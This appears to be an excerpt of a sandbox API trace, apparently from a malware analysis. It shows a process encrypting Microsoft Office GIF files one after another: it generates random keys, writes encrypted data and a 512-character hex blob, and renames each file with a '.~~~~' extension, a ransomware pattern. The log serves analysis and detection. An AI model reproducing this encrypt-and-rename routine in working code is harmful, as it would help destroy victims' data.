	[0128.725] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.726] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.726] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.726] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24871642837) returned 1
	[0128.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb62e9450, dwHighDateTime=0x1d60e1e)) 
	[0128.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bd60
	[0128.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bd60 | out: hHeap=0x300000) returned 1
	[0128.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2806698
	[0128.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806698 | out: hHeap=0x300000) returned 1
	[0128.727] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.727] GetLastError () returned 0x0
	[0128.727] GetLastError () returned 0x0
	[0128.727] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.728] GetLastError () returned 0x0
	[0128.728] GetLastError () returned 0x0
	[0128.729] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff4a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.729] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb6, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xb6, lpOverlapped=0x0) returned 1
	[0128.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.731] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.731] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.731] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.731] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.731] CloseHandle (hObject=0x13c) returned 1
	[0128.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2806698
	[0128.732] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21504_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21504_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21504_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21504_.gif.~~~~")) returned 1
	[0128.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806698 | out: hHeap=0x300000) returned 1
	[0128.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.734] GetLastError () returned 0x0
	[0128.735] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.736] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.736] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.737] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24872672433) returned 1
	[0128.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb62e9450, dwHighDateTime=0x1d60e1e)) 
	[0128.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bc80
	[0128.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bc80 | out: hHeap=0x300000) returned 1
	[0128.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2806740
	[0128.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806740 | out: hHeap=0x300000) returned 1
	[0128.737] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.738] GetLastError () returned 0x0
	[0128.738] GetLastError () returned 0x0
	[0128.738] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.738] GetLastError () returned 0x0
	[0128.738] GetLastError () returned 0x0
	[0128.739] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff51, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.740] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xaf, lpOverlapped=0x0) returned 1
	[0128.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.742] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.742] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.742] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.742] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.742] CloseHandle (hObject=0x13c) returned 1
	[0128.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2806740
	[0128.742] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21505_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21505_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21505_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21505_.gif.~~~~")) returned 1
	[0128.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806740 | out: hHeap=0x300000) returned 1
	[0128.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.745] GetLastError () returned 0x0
	[0128.746] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.747] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.747] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.747] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24873734087) returned 1
	[0128.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb630f5b0, dwHighDateTime=0x1d60e1e)) 
	[0128.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8680
	[0128.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8680 | out: hHeap=0x300000) returned 1
	[0128.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28067e8
	[0128.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28067e8 | out: hHeap=0x300000) returned 1
	[0128.748] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.748] GetLastError () returned 0x0
	[0128.749] GetLastError () returned 0x0
	[0128.749] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.749] GetLastError () returned 0x0
	[0128.749] GetLastError () returned 0x0
	[0128.750] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff01, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.750] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xff, lpOverlapped=0x0) returned 1
	[0128.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.753] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.753] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.753] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.753] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.754] CloseHandle (hObject=0x13c) returned 1
	[0128.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28067e8
	[0128.754] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21518_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21518_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21518_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21518_.gif.~~~~")) returned 1
	[0128.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28067e8 | out: hHeap=0x300000) returned 1
	[0128.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.995] GetLastError () returned 0x0
	[0129.088] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0129.201] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0129.201] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0129.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0129.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0129.209] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24919869251) returned 1
	[0129.209] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6785ef0, dwHighDateTime=0x1d60e1e)) 
	[0129.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0129.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0129.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0129.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa698
	[0129.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa698 | out: hHeap=0x300000) returned 1
	[0129.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28069e0
	[0129.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838b50
	[0129.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28069e0 | out: hHeap=0x300000) returned 1
	[0129.210] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0129.210] GetLastError () returned 0x0
	[0129.210] GetLastError () returned 0x0
	[0129.210] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0129.210] GetLastError () returned 0x0
	[0129.211] GetLastError () returned 0x0
	[0129.213] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffeb8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.213] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x148, lpOverlapped=0x0) returned 1
	[0129.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0129.216] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.216] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.216] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.216] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.216] CloseHandle (hObject=0x140) returned 1
	[0129.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28069e0
	[0129.312] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21533_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21533_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21533_.gif.~~~~")) returned 1
	[0129.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28069e0 | out: hHeap=0x300000) returned 1
	[0129.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0129.389] GetLastError () returned 0x0
	[0129.389] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0129.489] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0129.489] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0129.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.490] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24947985391) returned 1
	[0129.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6a0d650, dwHighDateTime=0x1d60e1e)) 
	[0129.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822220
	[0129.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822220 | out: hHeap=0x300000) returned 1
	[0129.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cd858
	[0129.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838a20
	[0129.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd858 | out: hHeap=0x300000) returned 1
	[0129.491] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0129.491] GetLastError () returned 0x0
	[0129.491] GetLastError () returned 0x0
	[0129.491] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0129.491] GetLastError () returned 0x0
	[0129.491] GetLastError () returned 0x0
	[0129.493] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff42, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.493] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xbe, lpOverlapped=0x0) returned 1
	[0129.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.494] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.494] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.494] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.495] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.495] CloseHandle (hObject=0x138) returned 1
	[0129.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cd858
